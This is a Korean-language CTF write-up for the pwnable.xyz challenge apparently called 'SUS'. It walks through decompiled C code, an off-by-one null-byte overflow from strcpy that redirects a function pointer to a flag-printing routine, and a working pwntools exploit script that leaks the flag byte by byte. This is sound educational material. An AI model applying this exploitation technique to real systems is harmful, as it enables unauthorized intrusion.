Full RELRO, Canary, NX, PIE가 걸려있는 64bit 바이너리이다.

 

 

음.. flag를 load해서 key로 암호화해서 print되는 실행파일 같은데 설마 복호화 문제는 아니겠지..?

 

[main]

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rdi
  signed int v4; // eax
  unsigned int v5; // ST0C_4

  setup();
  puts("Muahaha you thought I would never make a crypto chal?");
  v3 = (_BYTE *)(&word_3E + 1);
  generate_key(63);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        print_menu(v3);
        v3 = "> ";
        printf("> ", argv);
        v4 = read_int32();
        if ( v4 != 2 )
          break;
        load_flag();
      }
      if ( v4 > 2 )
        break;
      if ( v4 != 1 )
        goto LABEL_12;
      printf("key len: ");
      v5 = read_int32();
      v3 = (const char *)v5;
      generate_key(v5);
    }
    if ( v4 == 3 )
    {
      print_flag();
    }
    else if ( v4 != 4 )
    {
LABEL_12:
      v3 = "Invalid";
      puts("Invalid");
    }
  }
}

 

main에서는 입력된 메뉴 인덱스에 따라 함수를 실행시켜준다. "1"을 입력했을 때 실행되는 generate_key함수부터 확인해보자.

 

[generate_key]

unsigned __int64 __fastcall generate_key(signed int key_len)
{
  signed int i; // [rsp+18h] [rbp-58h]
  int fd; // [rsp+1Ch] [rbp-54h]
  char s[72]; // [rsp+20h] [rbp-50h]
  unsigned __int64 v5; // [rsp+68h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( key_len > 0 && (unsigned int)key_len <= 0x40 )
  {
    memset(s, 0, 0x48uLL);
    fd = open("/dev/urandom", 0);
    if ( fd == -1 )
    {
      puts("Can't open /dev/urandom");
      exit(1);
    }
    read(fd, s, key_len);
    for ( i = 0; i < key_len; ++i )
    {
      while ( !s[i] )
        read(fd, &s[i], 1uLL);
    }
    strcpy(key, s);
    close(fd);
  }
  else
  {
    puts("Invalid key size");
  }
  return __readfsqword(0x28u) ^ v5;
}

 

입력받는 key의 길이는 1이상 64이하의 값이어야 한다.

memset함수로 s를 0x40만큼 0으로 초기화해준 후 /dev/urandom을 열어서 key_len만큼 s에 입력을 받는다.

만약 중간에 0이 들어있으면 그 부분을 채워주고 strcpy로 key변수에 s의 값을 써준다.

 

여기서 strcpy는 문자열을 복사 후 뒤에 널문자도 추가해준다.

 

 

key의 크기는 0x40이므로 만약 s에 0x40만큼의 값이 써져있다면 1byte overflow가 되어 do_comment를 0으로 덮어씌울 수 있다.

다음으로 load_flag함수를 확인해보자.

 

[load_flag]

int load_flag()
{
  unsigned int i; // [rsp+8h] [rbp-8h]
  int fd; // [rsp+Ch] [rbp-4h]

  fd = open("/flag", 0);
  if ( fd == -1 )
  {
    puts("Can't open flag");
    exit(1);
  }
  read(fd, flag, 0x40uLL);
  for ( i = 0; i <= 0x3F; ++i )
    flag[i] ^= key[i];
  return close(fd);
}

 

flag파일을 open한 뒤에 0x40byte만큼 flag변수에 읽어들인다. 그 후 flag와 key에 들어있는 값을 1byte씩 xor연산을 해준 후 다시 flag변수에 저장한다. 여기서는 do_comment가 사용되지 않는다.

마지막으로 print_flag변수도 확인해보자.

 

__int64 print_flag()
{
  __int64 result; // rax

  puts("WARNING: NOT IMPLEMENTED.");
  result = (unsigned __int8)do_comment;
  if ( !(_BYTE)do_comment )
  {
    printf("Wanna take a survey instead? ");
    if ( getchar() == 'y' )
      do_comment = (__int64 (*)(void))f_do_comment;
    result = do_comment();
  }
  return result;
}

 

만약 do_comment가 0이고  "Wanna take a survey instead?"라는 질문에 "y"라고 대답하면 do_comment에 f_do_comment라는 함수의 주소를 넣어준 후 실행시켜준다. print flag라면서 flag를 출력해주지도 않는다..

 

[f_do_comment]

unsigned __int64 f_do_comment()
{
  char buf; // [rsp+10h] [rbp-30h]
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Enter comment: ");
  read(0, &buf, 0x21uLL);
  return __readfsqword(0x28u) ^ v2;
}

그냥 buf에 0x21byte만큼 입력해주는 함수인데 이 부분을 이용해서 무언가를 할 수 있을 것 같지는 않다..

 

이 함수들 말고 real_print_flag라는 함수도 존재했다.

 

[real_print_flag]

int real_print_flag()
{
  return printf("%s", flag);
}

print_flag가 아니라 real_print_flag!! 여기서 flag를 출력해준다.

 

 

real_print_flag함수의 오프셋은 0xb00이고 아까 print_flag에서 do_comment에 넣어줬던 f_do_comment함수의 오프셋은 0xb1f이다. do_comment가 f_do_comment의 주소를 저장하고 있을 때 "1"번 메뉴를 통해 1byte를 널로 덮어주면 f_do_comment의 주소를 real_print_flag의 주소로 바꿔줄 수 있다.

그 후 다시 "3"번 메뉴로 print_flag함수를 실행시키면 (BYTE)do_comment는 0이니까 질문의 대답에 "y"를 하지 않고 넘어가면 real_print_flag를 실행시킬 수 있다.

 

이런식으로 flag는 출력할 수 있다. 그러면 이제 진짜 flag가 출력될 수 있도록 해야되는데.. key를 전부 0으로 만들어주면 진짜 flag가 출력될 것이다.

 

만약 key_len에 0을 입력한다면 key의 첫 번째 byte가 0으로 세팅될 것이고 key_len에 1을 입력한다면 key의 두 번째 byte가 0으로 세팅될 것이다. 이렇게해서 쭉 한바이트씩 진짜 flag를 확인해보면 된다.

 

한번에 하려니까 조금씩 끊기고 한바이트씩 잘못된 부분도 가끔 생긴다. 그래서 앞부분 따로 뒷부분 따로 해주었다.

 

[payload]

from pwn import *

#context.log_level = 'debug'

r = remote("svc.pwnable.xyz", 30006)

#set do_comment
r.sendlineafter("> ", "3")
r.sendlineafter("? ", "y")

#1byte overflow
r.sendlineafter("> ", "1")
r.sendlineafter(": ", "64")

#find flag
flag = "F"

for i in range(1,33):
	
	#set 0x00
	r.sendlineafter("> ", "1")
	r.sendlineafter(": ", str(i))

	#load flag
	r.sendlineafter("> ", "2")
	
	#print flag
	r.sendlineafter(">", "3")
	r.sendlineafter("? ", "r")
	
	flag += r.recv(64)[i]
	print "flag : " + flag

 

 

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] Jmp table  (0) 2020.05.30
[pwnable.xyz] Free Spirit  (0) 2020.05.26
[pwnable.xyz] two targets  (0) 2020.05.26
[pwnable.xyz] xor  (0) 2020.05.19
[pwnable.xyz] note  (0) 2020.05.08

+ Recent posts